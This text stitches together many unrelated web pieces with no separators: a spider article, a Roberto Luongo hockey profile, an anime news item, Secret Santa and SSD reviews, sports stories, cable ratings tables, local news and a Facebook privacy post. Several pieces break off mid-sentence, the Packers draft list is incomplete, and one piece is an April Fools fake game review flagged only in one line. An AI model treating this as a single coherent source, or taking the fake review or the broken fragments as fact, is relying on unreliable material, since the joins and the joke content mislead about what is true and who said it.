Such cooperative breeding is uncommon, found in only around 3 percent of all known species. It's also unusual among spiders, most of which disperse almost immediately upon hatching and live alone.
Mother-Eating Spiders Young spiderlings attack and eat their mother for survival.
But S. dumicola hatchlings live together for life, which leads to interbreeding—brothers mate with sisters, and so on.
This interbreeding may explain why virgin females care for relatives' offspring: Because the spiders share so much genetic material, a female might assume the offspring is her own. (See "6 Fierce Animal Moms That Go to Extremes For Their Young.")
One Thing on Their Mind
So what are the male spiders doing during all this?
“They are generally not doing a lot—just mating,” says Junghanns. Their lives last less than a month after copulation. In comparison, females live about a year.VANCOUVER, British Columbia -- No matter how you spin things in these parts, almost every conversation about the Vancouver Canucks gravitates toward Roberto Luongo.
His $64 million, 12-year contract kicks in this fall.
He has a new goalie coach.
His workload is slated to decrease a tad with the arrival of young goalie Cory Schneider.
He dropped the captain's "C."
And he dropped 8 pounds, which was noticeable when he met with ESPN.com for an interview after practice Friday.
Somehow, win or lose, it always seems to be about Luongo with this team.
"Well, he's a star player and he's a goaltender," Canucks GM Mike Gillis told ESPN.com on Friday. "People have really high expectations for him, and they don't match his expectations of himself. We're doing our best to surround him with the most complementary players that we can to take the burden off him to be the guy that has to win the game for us. When he plays well, we win. We know that."
Luongo's detractors will tell you he wasn't very good in back-to-back second-round losses to the Chicago Blackhawks in successive springs. His backers will tell you he was in net when Team Canada won perhaps the most pressure-packed hockey game in the modern era this past February at the 2010 Olympics in this very city.
Somewhere in between probably lies the truth: a great goalie with gold medals at both the men's World Championship and the Olympics, but no NHL championship.
In a season in which the Canucks are being hyped up as serious Stanley Cup contenders, Luongo will be a popular topic all year.
"I know there's a lot of doubters out there, but I don't need to prove it," Luongo told ESPN.com. "I've done it my whole career. I've been successful at every level. I don't think there's a bigger stage in the world than last February. Unfortunately, it hasn't happened in the NHL yet, but we've got a great window of opportunity here with these guys and we've got a few years here to make something great happen."
He ended last postseason with a 3.22 goals-against average and an.895 save percentage. An injury-depleted blue-line corps in front of him had something to do with that, but he still didn't seem quite right against Los Angeles and Chicago in the playoffs. To his credit, he didn't stick his head in the sand this summer when the Canucks' front office approached him about replacing part-time goalie coach Ian Clark with a full-time goalie coach in Roland Melanson.
Roberto Luongo helped Team Canada win a gold medal at the 2010 Winter Olympics. Jeff Vinnick/NHLI via Getty Images
Like pitchers and pitching coaches, the relationship between goalies and goalie coaches is symbiotic, and it's a highly sensitive area for front offices to wade into. But Gillis hasn't been shy to make bold decisions in his time here, and he believed the time was right.
"We made a decision," Gillis said. "Roberto understood what we felt we needed to become a better team. He's the consummate team guy. He understood we would do whatever was necessary to become a better team. That meant having a full-time goalie coach here, for him and for Cory."
Luongo seems to have approached it with an open mind.
"It's been a while since I had a new goalie coach," Luongo said. "Rollie is a great guy and obviously he knows what he's talking about. We're trying to build a relationship and we're off to a good start. Hopefully the more time we spent together, the better it will be. It's nice that he'll be here all year round."
The two haven't wasted time. Under Melanson's tutelage, Luongo is changing a few aspects of his technical game. "A couple of adjustments, nothing crazy," Luongo said.
The most noteworthy is the desire to stay deeper in his net and not get caught too far out at the top of the crease. Too often in this past spring's playoffs, the opposition seemed to have the back door open for an easy goal on rebounds or scramble plays.
"I'm trying to stay at three-quarters of the crease instead of all the way out, be in good position for recoveries," Luongo said. "Rollie watched a lot of video [of me] this summer, and that's how he always taught his goalies. I'm a big guy, so you want to maximize your size."
Off the ice, Luongo will no longer wear the "C." It's a subject that consumed Vancouver fans and media all offseason. Now everyone can turn the page.
"It was a lot of little things that over the course of the year add up," Luongo said in explaining his decision. "We're in a situation now where I think we got a good shot at it. I just want my focus to be on goaltending. I don't want to be worried about other things. Not that it did during games last year, but maybe it did subconsciously in the back of my mind. I just want to give my full attention to stopping the puck."Yuri!!! on Ice premiered its final episode on Wednesday, and fans already noticed an apparent hidden homage to South Park. In a flashback, a young version of the Canadian skater Jean-Jacques "JJ" Leroy appears to wear a winter outfit inspired by the character Eric Cartman's signature look. Young JJ wears a blue and yellow hat, yellow gloves, red coat, and brown pants that are very similar to Cartman's. Twitter user @ksoyaji_ posted an image of JJ's outfit:
south park: hey let's art trade
yoi: sure pic.twitter.com/QrjT7NBrLs — линуша /YOI SPOILERS (@ksoyaji_) December 21, 2016
The American adult animated series included a reference to Yuri!!! on Ice earlier this month when the character Ike Broflovski Googled the show. The episode also referenced Naruto and Crunchyroll, and the streaming service Tweeted a video about it:
Yuri!!! on Ice and |
. I try to be reasonable with people but I guess I made a mistake.”
The Oak Tree Gun Club near Los Angeles said it would sell the “smart guns” this year but the weapons were removed from shelves after protests and threats from gun advocates. The club owners later denied they ever planned to sell them.
Raymond said he planned to sell the German-made guns initially “on principle” because he believed in the right of gun ownership.
“You have freedom,” he said. “It shouldn’t be compromised.”
Armatix and the National Rifle Association, the U.S. gun lobby, did not immediately respond to requests for comment.
Opponents fear that sale of smart guns would trigger a New Jersey law requiring that all guns sold in the state be equipped with smart technology within three years after it becomes available.
President Barack Obama said he supports smart gun technology but he has run into criticism from the NRA.
The guns could lead to “a ban on all guns that do not possess the government-required technology,” said a blog by the NRA’s political arm.My Santa has been so sweet all along. Early on she sent me a message that my gift had been shipped and then followed up to see if I had gotten it. Unfortunately the shipment disappeared somewhere in the mysterious postal service void. So what did my Santa do? She sent another package that my 2 daughters went crazy for tonight! There was so much yumminess: Jiffy Pop, Pretzels, Curious George fruit snacks, 2 big solid chocolate bunnies, Werther's hard candies (which I love and claimed as all mine), 2 little zippy bags of various chocolatey yumminess, and omg Birthday Cake Oreos!!!!!! Too much good stuff (hope I haven't forgotten anything) and it was so sweet of her to send things in twos for my girls. How amazing is she huh?!?!
Thanks for being such a sweetheart!!! Lots of love being sent your way from Canada!!!Tennessee will practice a few more times leading up to the Franklin American Mortgage Music City Bowl, but most of the Vols’ preparations for their Dec. 30 showdown with Nebraska now have been completed.
Coach Butch Jones said Tuesday that Tennessee’s “game plan is in place,” and the Vols would be ready “to play the game tomorrow” if necessary.
“Our game plan is in place, so if we had to play the game tomorrow, we’d be able to do that, so I’m excited about that,” Jones said following his team’s practice Tuesday morning inside Neyland-Thompson Sports Center.
“I’ve liked our focus. I mean, it’s been a driven mindset. They’ve come in and they’ve put their work in, and I’ve liked the way they’ve approached this bowl preparation.”
Jones said Tennessee’s bowl practices have included “some live tackling things that we’ve never done in bowl preparation before” — “basically Day One teaching,” he later added — after the Vols struggled with tackling during their final regular-season games.
They have made progress in that area, he said, “but now its’ being able to take it to the game field.”
(What's next for the Vols? Make sure you're in the loop — take five seconds to sign up for our FREE Vols newsletter now!)
“When you give individuals time off, now how do we approach those times when we come back?” Jones said. “But, again, we did some live tackling things that we’ve never done in bowl preparation before. But I felt that our entire football team needed it, and not just from a tackling standpoint, but a block-destruction standpoint.
“But also from an offensive standpoint of our style of play, with a body on a body and finishing plays, and really challenging our players because they’re playing a very, very good football team that has been a top-10 football team most of the year.
“And they’re very, very physical. They’re a football team that does not beat themselves. They don’t turn the football over, so we have to play a football game that’s comprised of discipline and fundamentals and details, so we’ve really gone back to Ground Zero teaching — basically Day One teaching — and our players have responded.”
Nebraska’s uncertainty at quarterback leading up to next week’s game also presents “a challenge” for Tennessee, Jones said.
Huskers starter Tommy Armstrong has been sidelined by a torn hamstring, and his status for the bowl game remains unclear. Backup Ryker Fyfe also has been limited in practices after having a pin inserted into the wrist of his non-throwing hand.
“It’s a challenge. But both quarterbacks are very, very talented, and you have to prepare for both,” Jones said. “You watch video on both. And, again, it just gets back to your habits in practice and your style of play. Just overall execution — the details, the communication — to me, that’s what it’s all about.”
Get VIP access to GoVols247 with a FREE 7-DAY TRIAL.APRIL FOOLS! But dear God how I wish this was real.
A mind is a terrible thing to waste--but it sure makes for amazing level design. Psychonauts 2, the sequel to Double Fine's cult classic 3D platformer, is like a crash course in high-level psychology, packaged as a brilliantly crafted run-'n'-jump adventure. Humankind has always been fascinated with the inner workings of the mind, with its emotions, fears, calculations, and primal instincts, which coincidentally sets the foundation for fascinating characters. Psychonauts 2 takes everything that made the original great--humor, imaginative design, and lovable characters--and polishes the gameplay to match the heady concepts.
The story picks up right where the original left off. Within moments of becoming an officially appointed Psychonaut, circumstance pulls our lovable hero Razputin into his first mission: save Truman Zanotto, leader of the Psychonauts and father of Raz's love interest Lili. Instead of a quaint summer camp, the cerebral adventure takes place on a luxury cruise liner, where one of the guests seems to be plotting Zanotto's murder. This plot lends itself to a nicely balanced level structure, where you're never wandering for too long. The confined space of the cruise ship (given Raz's fear of being cursed to die of drowning) helps guide you towards the real attraction: all the absurdly inventive mental mindscapes.
When Raz slaps a miniature door onto the heads of guests (and suspects) on the ship, he's transported into a manifestation of their mind, where the bulk of Psychonauts 2's action takes place. As with the first game, these imaginary locales deliver incredible storytelling through the environment: enemy designs beautifully reflect a character's psyche, and the platforming challenges double as a depiction of that person's hopes and fears. Trying to deduce who's plotting Zanotto's death becomes a thrilling hunt for clues inside the infinite possibilities of the mind's eye--especially when the cast of suspected kidnappers is full of zany, deranged oddballs.
There's the world-famous hairstylist Neddward, who secretly hoards the clipped hair of his rich clients. That manifests itself as a level set in a forest of hair on a gigantic scalp, where Raz is accosted by demons fashioned from discarded locks and tresses. Then we've got Tilly, the supermodel whose obsession with body image makes for a nightmarish subconscious full of deformed, plastic-surgery-ridden enemies populating a surreal, Salvador Dali-esque landscape. You never know what to expect when delving into each fantastical Mental World, making for level variety that's nigh unrivaled in the world of gaming.
And exploring those environments is a joy, thanks to controls that have been completely overhauled. The first Psychonauts sullied some of its best ideas with frustrating bits of platforming and some hard-to-control psychic powers; Psychonauts 2 suffers from none of these problems. Raz's movements are much more fluid, giving you a Mario-caliber level of control over his running and jumping. When the improved movement meets with the combo-and-counter-centric combat, a la Arkham City, it feels like every aspect of Psychonauts' gameplay has been sharpened to precision.
In addition to the smoothed-over platforming, Psychonauts 2 also uses the PS4 and Xbox One's processing power to amazing effect. The visuals look crisp and modern, while still retaining Double Fine's unique cartoon art style. One moment, you're admiring the dazzling particle effects of Raz's psychic projections; the next, you're marveling at the bizarrely proportioned heads and outlandish wardrobe of the ship's many guests. It's a look that recalls the latest Pixar films, if they suddenly took a turn for the adorably weird.
Not every level is as good as the next, though. Take the mind of Milgranda Burton, an esteemed marine biology professor who harbors secret fantasies about being a mermaid (and is also a hilarious spoof of Jane Goodall). Her mind takes form as a vision of Atlantis, spliced with textbook diagrams and academic minutiae. It looks gorgeous, but guiding Raz through this underwater metropolis becomes a chore, shifting your focus from the creative ideas and onto the frustrating swimming mechanics and labyrinthine layout. The majority of the Mental Worlds are accessible, fun, and thought-provoking, but some demand too much familiarity with pop culture. Appreciating the mind of Trubert, the otaku son of a rich playboy, requires extensive knowledge of anime and Japanese culture to pick up on all the references.
But most importantly, Psychonauts 2 manages to retain all the charm and whimsy of the original, expanding the story and polishing the gameplay to a shine. Being able to explore the innermost thoughts of the supporting cast makes for astonishing character development, where you live through memories and experiences instead of being told about them through boring dialogue or cliché audio logs. The peak of this psychological spelunking involves Raz and Lili exploring each other's minds, giving you a look into their endearing young love (without ever stepping outside the bounds of a PG innocence). And Psychonauts 2's writing is just plain funny, with visual gags and witty discourse throughout, delivered with impeccable voice-acting.
Where the first Psychonauts was sadly overlooked by many, Psychonauts 2 is the kind of game that has universal appeal, while still retaining everything that makes it so unique. The concepts and ideas on display are as ingenious as ever, but now they're backed by intuitive controls and higher production values. It's as charming and enjoyable as it is hilarious, valuing fun as much as its visionary ideas. By the time you've finished Raz's sophomore escapade, you'll wish you could explore every video game character's inner psyche. And that kind of imagination fuel is an exceptionally powerful thing.Deep freezing
I have had this in my computer for almost a year now, and I have noticed that it goes into some deep freeze state where it does not work at all for more than 30 seconds straight. I started to notice this a few weeks in from having it. My computer completely stops responding and I cannot do anything until I wait out the 30+ seconds. Sometimes it happens more often than other times. But otherwise, it's pretty random and I have not been able to pinpoint the problem. In this time, I have undergone different PSUs, different secondary HDDs and different OSes, but not one change has made a difference. If I had the Task Manager on Win8 open before it freezed, it would show the SSD as 100% usage yet 0KBps read and write. I wish I could recommend this drive for all the fast boot times and responsiveness it's given me, but the bad just outweighs it. I do not recommend this. Go for a different SSD, anything but this.GREEN BAY, Wis. -- Last week, after the NFL finalized its full selection order for the May 8-10 draft, the Green Bay Packers learned exactly where they will pick in each round.
Now, let's take a look at the kind of player that could be available to the Packers in each spot.
Here are the players selected at those positions over the last five years:
First round: No. 21 overall
Second round: No. 53 overall
Third round: No. 85 overall
Third round: No. 98 overall (compensatory pick)
Fourth round: No. 121 overall
Fifth round: No. 161 overall
Fifth round: No. 176 overall (compensatory pick)
2013: Houston Texas T David Quessenberry, San Jose State (eighth pick of the sixth round)
2012 : Jacksonville Jaguars CB Mike Harris, Florida State (sixth pick of the sixth round)
2011 : Dallas Cowboys WR Dwayne Harris, East Carolina (11th pick of the sixth round)
2010 : Tennessee Titans QB Rusty Smith, Florida Atlantic (seventh pick of the sixth round)
2009: Atlanta Falcons LB Spencer Adkins, Miami (third pick of the sixth round)
Sixth round: No. 197 overall
2013: Cincinnati Bengals WR Coby Hamilton, Arkansas
2012 : New England Patriots S Nate Ebner, Ohio State
2011 : Green Bay Packers OLB Ricky Elmore, Arizona
2010 : Houston Texans KR Trindon Holliday, LSU
2009: Dallas Cowboys LB Stephen Hodge, TCU
Seventh round: No. 236 overallNETWORK FINALS: OLYMPICS coverage held at this morning’s 8.6. Elsewhere, the only change was a 0.1 bump for the SO YOU THINK YOU CAN DANCE rerun.
Broadcast Official Nationals Program Ratings Chart
CABLE HIGHLIGHTS: Despite the Olympics, all was fairly standard in Monday cable, albeit at lower levels. VH1 topped the night with LOVE & HIP-HOP, down 0.17 to 1.18 and with TI & TINY down 0.12 to 0.69 and SHAUNIE’S HOME COURT down 0.12 to 0.54. USA’s WWE telecast was at 0.97/0.99/0.97, compared to last week’s 1.27/1.26/1.19. NBC Sports Net’s OLYMPICS coverage peaked at 0.57, with CNBC at 0.31, Bravo at 0.20, and MSNBC at 0.11. Once again, STEVEN UNIVERSE put Cartoon Network into the Top 10 at 0.48. On Discovery, MISFIT GARAGE was down 0.05 to 0.44, and VEGAS RAT RODS dropped 0.06 to 0.38. On Freeform, THE FOSTERS fell 0.09 to 0.34, and GUILT was steady at 0.12. On HGTV, TINY HOUSE HUNTERS was at 0.27/0.30 compared to last week’s 0.36/0.38, and HOUSE HUNTERS was down a tenth to 0.29, with HOUSE HUNTERS INTL down 0.13 to 0.23. MTV’s ARE YOU THE ONE lost 0.06 to 0.28. It was season finale night on Lifetime, with DEVIOUS MAIDS down 0.02 to 0.26, and UNREAL steady at 0.18. ANGIE TRIBECA’s season finale on TBS was down 0.02 to 0.22. On Food Network, CAKE WARS fell 0.06 to 0.18, and CUPCAKE WARS was down 0.04 to 0.17. AMC’s MAKING OF THE MOB dropped 0.04 to 0.14.
Top 50 Original Cable Telecasts with Demographic Detail
Top 150 Original Cable Telecasts
To search for a show: type Ctrl-F and type your show title in the search box.
Top 150 Original Cable Telecasts: Monday August 8, 2016 P18-49 P2+ Rank Program Net Start Mins Rating (000s) 1 LOVE & HIP HOP ATLANTA 5 VH1 8:00 PM 60 1.18 2,461 2 WWE ENTERTAINMENT USA NETWORK 9:00 PM 60 0.99 2,974 3 WWE ENTERTAINMENT USA NETWORK 10:00 PM 73 0.97 2,809 4 WWE ENTERTAINMENT USA NETWORK 8:00 PM 60 0.97 2,950 5 T.I. AND TINY 5 VH1 9:00 PM 30 0.69 1,478 6 S OLY PRIME: N/A NBC SPORTS NETWORK 7:02 PM 298 0.57 1,562 7 SHAUNIES HOME COURT VH1 9:30 PM 30 0.54 1,176 8 STEVEN UNIVERSE THE CARTOON NETWORK 7:00 PM 30 0.48 1,990 9 MISFIT GARAGE DISCOVERY CHANNEL 9:00 PM 61 0.44 1,216 10 VEGAS RAT RODS DISCOVERY CHANNEL 10:01 PM 61 0.38 915 11 FOSTERS, THE FREEFORM 8:00 PM 60 0.34 802 12 S OLY WEEKDAY: N/A NBC SPORTS NETWORK 8:59 AM 603 0.33 1,005 13 ALVINNN!!! AND THE CHIPMU NICKELODEON 5:30 PM 30 0.33 1,659 14 S OLY WEEKDAY: N/A CNBC 5:00 PM 180 0.31 846 15 TINY HOUSE HUNTERS HOME AND GARDEN TV 9:30 PM 30 0.30 1,348 16 HOUSE HUNTERS HOME AND GARDEN TV 10:00 PM 30 0.29 1,359 17 ARE YOU THE ONE SSN 4 MTV 10:00 PM 61 0.28 536 18 DAILY SHOW COMEDY CENTRAL 11:00 PM 31 0.28 719 19 TINY HOUSE HUNTERS HOME AND GARDEN TV 9:00 PM 30 0.27 1,164 20 PARDON THE INTERRUPTION ESPN 5:30 PM 30 0.26 710 21 DEVIOUS MAIDS LIFETIME TELEVISION 9:00 PM 60 0.26 859 22 THE OREILLY FACTOR FOX NEWS CHANNEL 8:00 PM 60 0.24 2,657 23 HOUSE HUNTERS INTL HOME AND GARDEN TV 10:30 PM 30 0.23 1,162 24 E! NEWS E! 7:00 PM 60 0.23 545 25 ANGIE TRIBECA TBS NETWORK 9:00 PM 30 0.22 481 26 TINY AT 20 TLC 10:00 PM 60 0.21 709 27 AT MIDNIGHT COMEDY CENTRAL 12:01 AM 30 0.21 424 28 CORONER: I SPEAK FOR THE INVESTIGATION DISCOVERY 10:00 PM 60 0.21 1,068 29 NIGHTLY SHOW COMEDY CENTRAL 11:31 PM 30 0.21 506 30 HANNITY FOX NEWS CHANNEL 10:00 PM 60 0.20 1,975 31 ON THE RECORD W/GRETA FOX NEWS CHANNEL 7:00 PM 60 0.20 2,156 32 S OLY PRIME: N/A BRAVO 7:00 PM 180 0.20 720 33 WICKED TUNA: OUTER BANKS NATIONAL GEOGRAPHIC CHNL 9:00 PM 60 0.19 796 34 KILLER INSTINCT WITH CH INVESTIGATION DISCOVERY 9:00 PM 60 0.19 958 35 CNN TONIGHT CNN 11:00 PM 60 0.19 860 36 SPECIAL RPT W/BRET BAIER FOX NEWS CHANNEL 6:00 PM 60 0.19 2,344 37 KELLY FILE, THE FOX NEWS CHANNEL 9:00 PM 60 0.19 2,062 38 MILES FROM TOMORROWLAND DISNEY JUNIOR 9:00 AM 25 0.19 749 39 CNN TONIGHT CNN 10:00 PM 60 0.19 960 40 UNREAL LIFETIME TELEVISION 10:00 PM 63 0.18 481 41 CAKE WARS 3 FOOD NETWORK 9:00 PM 60 0.18 650 42 ANDERSON COOPER 360 CNN 9:00 PM 60 0.18 952 43 BEYOND SCARED STRAIGHT SPIKE TV 11:00 PM 60 0.18 418 44 AROUND THE HORN ESPN 5:00 PM 30 0.17 447 45 RACHEL MADDOW SHOW MSNBC 9:00 PM 60 0.17 1,478 46 CUPCAKE WARS CELEBRITY FOOD NETWORK 8:00 PM 60 0.17 596 47 ANDERSON COOPER 360 CNN 8:00 PM 60 0.17 1,059 48 SPORTSCENTER AM L ESPN 7:00 AM 60 0.17 343 49 BEYOND SCARED STRAIGHT SPIKE TV 8:00 PM 60 0.17 460 50 BEYOND SCARED STRAIGHT SPIKE TV 10:00 PM 60 0.17 439 51 CNN NEWSROOM CNN 3:00 PM 60 0.16 1,097 52 FIVE, THE FOX NEWS CHANNEL 5:00 PM 60 0.16 2,173 53 ERIN BURNETT OUTFRONT CNN 7:00 PM 60 0.16 989 54 OUTNUMBERED FOX NEWS CHANNEL 12:00 PM 60 0.16 1,819 55 FAMELESS TRUTV 10:00 PM 30 0.15 309 56 SPORTSCENTER AM L ESPN 8:00 AM 60 0.15 339 57 LAST WORD W/ L. ODONNELL MSNBC 10:00 PM 60 0.15 1,285 58 HIGHLY QUESTIONABLE ESPN 4:30 PM 30 0.15 357 59 AT THIS HOUR CNN 11:00 AM 60 0.15 745 60 CNN NEWSROOM CNN 2:00 PM 60 0.15 1,047 61 FIRST TAKE L: N/A ESPN2 10:00 AM 120 0.15 306 62 WOLF CNN 1:00 PM 60 0.14 1,050 63 SPORTSCENTER 12AM L ESPN 12:00 AM 60 0.14 313 64 BEYOND SCARED STRAIGHT SPIKE TV 7:00 PM 60 0.14 405 65 LITTLE LEAGUE WORLD SRS L: BRIDGEPORT, WV/GOODLETTSVILLE, TN ESPN 7:00 PM 135 0.14 540 66 S OLY WEEKDAY: N/A USA NETWORK 9:00 AM 490 0.14 550 67 NFL LIVE L ESPN 3:00 PM 60 0.14 333 68 SITUATION ROOM CNN 6:00 PM 60 0.14 969 69 LIVE FREE: DOWN & DIRTY NATIONAL GEOGRAPHIC CHNL 10:00 PM 60 0.14 480 70 KATE & MIM-MIM DISNEY JUNIOR 8:30 PM 25 0.14 659 71 SPORTSCENTER AM L ESPN 9:00 AM 60 0.14 334 72 FOX AND FRIENDS FOX NEWS CHANNEL 7:00 AM 60 0.14 1,148 73 HAPPENING NOW FOX NEWS CHANNEL 1:00 PM 60 0.14 1,588 74 MAKING OF THE MOB: CHICAG AMC 10:00 PM 60 0.14 631 75 LEGAL VIEW CNN 12:00 PM 60 0.13 884 76 FOX AND FRIENDS FOX NEWS CHANNEL 8:00 AM 60 0.13 1,412 77 ALL IN W/ CHRIS HAYES MSNBC 8:00 PM 60 0.13 1,266 78 BEYOND SCARED STRAIGHT SPIKE TV 9:00 PM 60 0.13 428 79 HARDBALL WITH C. MATTHEWS MSNBC 11:00 PM 60 0.13 918 80 LEAD WITH JAKE TAPPER CNN 4:00 PM 60 0.13 1,061 81 LITTLE LEAGUE WORLD SRS L: ALBUQUERQUE, NM/SAN ANTONIO, TX ESPN 9:15 PM 128 0.13 482 82 SITUATION ROOM CNN 5:00 PM 60 0.12 1,020 83 CNN NEWSROOM CNN 10:00 AM 60 0.12 696 84 WATCH WHAT HAPPENS LIVE BRAVO 11:00 PM 31 0.12 377 85 GUILT FREEFORM 9:00 PM 60 0.12 305 86 HARDBALL WITH C. MATTHEWS MSNBC 7:00 PM 60 0.11 1,191 87 AMERICAS NEWSROOM FOX NEWS CHANNEL 9:00 AM 60 0.11 1,532 88 NFL INSIDERS L ESPN 2:00 PM 60 0.11 283 89 SPORTSNATION L ESPN 4:00 PM 30 0.11 278 90 S OLY WEEKDAY: N/A MSNBC 12:00 PM 300 0.11 479 91 YOUR WORLD W/NEIL CAVUTO FOX NEWS CHANNEL 4:00 PM 60 0.11 1,292 92 AMERICAS ELECTION HQ FOX NEWS CHANNEL 2:00 PM 60 0.11 1,322 93 FATAL ATTRACTION TV ONE 9:00 PM 60 0.11 289 94 HAPPENING NOW FOX NEWS CHANNEL 11:00 AM 60 0.11 1,395 95 SPORTSCENTER LATE L ESPN 11:23 PM 37 0.11 291 96 SHEPARD SMITH REPORTING FOX NEWS CHANNEL 3:00 PM 60 0.11 1,198 97 SPORTSCENTER AM L ESPN 10:00 AM 61 0.11 255 98 SPORTSCENTER EARLY L ESPN 6:00 PM 60 0.11 292 99 TRIPTANK COMEDY CENTRAL 1:01 AM 30 0.10 204 100 NEW DAY CNN 6:00 AM 60 0.10 374 101 CNN NEWSROOM CNN 9:00 AM 60 0.10 603 102 FOR MY MAN TV ONE 10:00 PM 60 0.10 258 103 BEYOND SCARED STRAIGHT SPIKE TV 6:00 PM 60 0.10 328 104 SPORTSCENTER AM L ESPN 12:00 PM 60 0.10 249 105 STAR VS FORCES OF EVIL DISNEY XD 10:30 AM 30 0.10 495 106 AMERICAS NEWSROOM FOX NEWS CHANNEL 10:00 AM 60 0.09 1,488 107 E! NEWS E! 11:00 PM 62 0.09 261 108 HIS & HERS L ESPN2 12:00 PM 60 0.09 219 109 SPORTSCENTER AM L ESPN 11:01 AM 59 0.09 222 110 NO RESERVATIONS HBO PRIME 2:15 PM 104 0.09 198 111 NEW DAY CNN 7:00 AM 60 0.09 424 112 SECRET EATS WITH ADAM TRAVEL CHANNEL 10:00 PM 30 0.09 231 113 OTL – FIRST REPORT L ESPN 1:00 PM 30 0.09 214 114 NEW DAY CNN 8:00 AM 60 0.09 484 115 PEANUTS MOVIE, THE HBO PRIME 4:00 PM 88 0.09 261 116 MORNING EXPRESS W/ MEADE HLN 7:00 AM 60 0.08 273 117 S OLY WEEKDAY: N/A BRAVO 9:30 AM 570 0.08 330 118 MSNBC LIVE W/ T.HALL MSNBC 11:00 AM 60 0.08 555 119 MTP DAILY MSNBC 5:00 PM 60 0.08 728 120 COMEDY KNOCKOUT TRUTV 11:01 PM 30 0.08 164 121 COLLEGE FOOTBALL LIVE L ESPN 1:30 PM 30 0.07 200 122 MORNING JOE: N/A MSNBC 6:00 AM 180 0.07 706 123 WITH ALL DUE RESPECT MSNBC 6:00 PM 60 0.07 727 124 HOW ITS MADE: SCIENCE 9:01 PM 30 0.07 302 125 AVIATOR, THE: AVIATOR, THE HBO PRIME 6:05 PM 170 0.07 242 126 MORNING EXPRESS W/ MEADE HLN 6:00 AM 60 0.07 237 127 LEGO SW: FREEMAKER ADV DISNEY XD 10:00 AM 30 0.07 440 128 MIKE & MIKE IN THE MORN L: N/A ESPN2 6:00 AM 240 0.07 179 129 LAST MAN STANDING HALLMARK CHANNEL 6:00 PM 30 0.07 238 130 HOW DO THEY DO IT SCIENCE 9:31 PM 31 0.07 253 131 SECRET EATS WITH ADAM TRAVEL CHANNEL 10:30 PM 30 0.07 202 132 SPORTSNATION ESPN2 5:00 PM 30 0.07 128 133 MSNBC LIVE MSNBC 10:00 AM 60 0.07 557 134 LOVE & BASKETBALL: LOVE & BASKETBALL HBO PRIME 9:45 AM 125 0.06 116 135 MORNING EXPRESS W/ MEADE HLN 8:00 AM 60 0.06 227 136 MSNBC LIVE MSNBC 9:00 AM 60 0.06 614 137 YOUNG AND THE RESTLESS, T POP 7:00 PM 60 0.06 513 138 FOX AND FRIENDS FOX NEWS CHANNEL 6:00 AM 60 0.06 769 139 GAMERS GUIDE DISNEY XD 12:00 PM 30 0.06 300 140 TRAINING CAMP PRIMETIME: TRAINING CAMP PRIMETIME NFL NETWORK 8:00 PM 180 0.06 124 141 NFL TOTAL ACCESS NFL NETWORK 7:00 PM 60 0.06 156 142 NEVERENDING STORY, THE HBO PRIME 6:00 AM 94 0.06 138 143 FUTURE WORM DISNEY XD 11:00 AM 30 0.06 309 144 TELETUBBIES NICK JR 8:00 AM 27 0.05 328 145 DR DREW HLN 7:00 PM 60 0.05 226 146 LAST WITCH HUNTER, THE MAXPRIME 7:25 PM 107 0.05 111 147 PEANUTS BOOMERANG 11:00 AM 30 0.05 202 148 NFL LIVE ESPN2 4:00 PM 60 0.05 146 149 MEGA SHIPPERS SCIENCE 10:02 PM 61 0.05 211 150 BIG BROTHER: AFTER DARK: BBA-160146 BBAD EP 1146 8/8/16 POP 12:00 AM 180 0.05 111
###Cycling advocates in Toronto are expressing outrage after a 40-year-old woman on a bicycle was struck and killed by a truck on Dundas Street West in what police say was a "preventable" collision.
The accident occurred around 11:30 a.m. near Sterling Road on Dundas, police said.
The cyclist, a woman in her 40s, succumbed to a severe head injury and other major trauma shortly after the collision.
Dave Meslin of the Toronto Cyclists Union said the death highlights the risks riders face on roads without bike lanes.
"It's not about drivers versus cyclists," he said. "It's about the lack of proper infrastructure on the streets."
The woman was killed after a truck travelling southbound on Sterling made a right turn to head westbound on Dundas, said Const. Hugh Smith.
The cyclist was on the same route and making the same turn and was "somehow" trapped under the truck, he said.
"Some of the marks initially we’re getting, [the truck] was making a tight turn, so probably not a lot of space for that cyclist to pass, if they were thinking of passing," said Smith.
Bike trailer may have been factor
Although the investigation is in its early stages, police say they believe the driver of the vehicle may have lost sight of the cyclist during the turn.
Smith said the bicycle was towing a trailer, which may have also contributed to the accident.
"Anything you attach to a bicycle is going to hinder your movement as far as the length of the turn, the amount of work it takes — the gear that you're in — for you to get through the turn," Smith said. "Most times we say a bike is designed for one person, unless it's a tandem."
Police haven't identified the woman and no charges have been laid.
"It's one of these preventable collisions," Smith said. "We have two road users going in the same direction, making the same turn and because we’re sharing the space, one has lost sight of the other, or one has continued into the path [of the other]."
Smith said he believed the woman lived in the area.
She is the second cyclist to die on Toronto roads this year.
Last month, Ontario's coroner's office announced it would investigate an increase in cycling deaths in Ontario between 2006 and 2010.
The coroner estimates between 15 and 20 cyclists die on Ontario roads every year from accidental collisions.
Although Dundas and Stirling were closed for a police investigation earlier Monday, the streets have since reopened.A federal jury has convicted a Northwest Indiana mayor and his wife of wire fraud and other charges for improperly using funds from his campaign and his city's food pantry.
The jury deliberated five hours Friday before finding Lake Station Mayor Keith Soderquist and his wife, Deborah Soderquist, guilty of conspiracy, seven counts of wire fraud and three counts of filing false income tax returns.
Prosecutors argued the couple made more than 40 ATM withdrawals from the campaign and food pantry accounts within 24 hours of visiting casinos from 2010 to 2012.
Defense attorney Scott King said his clients were victims of a witch hunt and he plans to seek a new trial.
Under state law, Soderquist forfeits his position as mayor of the city of 13,000 east of Gary.
Copyright Associated PressThis past Friday it surfaced that Facebook started including user profile photos in ads run with in the Facebook network. It’s widely known that if a product or service is vouched for by a close friend the liklihood that you’ll investigate and buy the product or use the service increases. The marketing and advertising folks at Facebook know their stuff and they’re taking full advantage of their terms of use to increase click through rates on ads and monetize their community.
What does this mean to you? It means if you don’t dig into the privacy settings and opt out of having your profile photo or perhaps other photos of yours used in ads, you could end up with your photo(s) next to an online dating service ad or perhaps something as awkward as a Viagra ad.
While many wondered why all the fuss about the photo unfriendly Facebook Terms of Use I hope you now understand. Facebook is an advertising engine looking to exploit trust between you and your network to maximize profits. The fact that they force you to opt-out versus opt-in to this type of system shows their true intentions contradicting past statements. As before if you use Facebook be aware and be diligent in checking to see what they’re up to and how they’re using your creative content.
Facebook Dating Ad Hooks Up Married Man … With His Wife – Mashable
Facebook sez, “Don’t mind us, we’re just whoring out your photos” – DownloadSquad
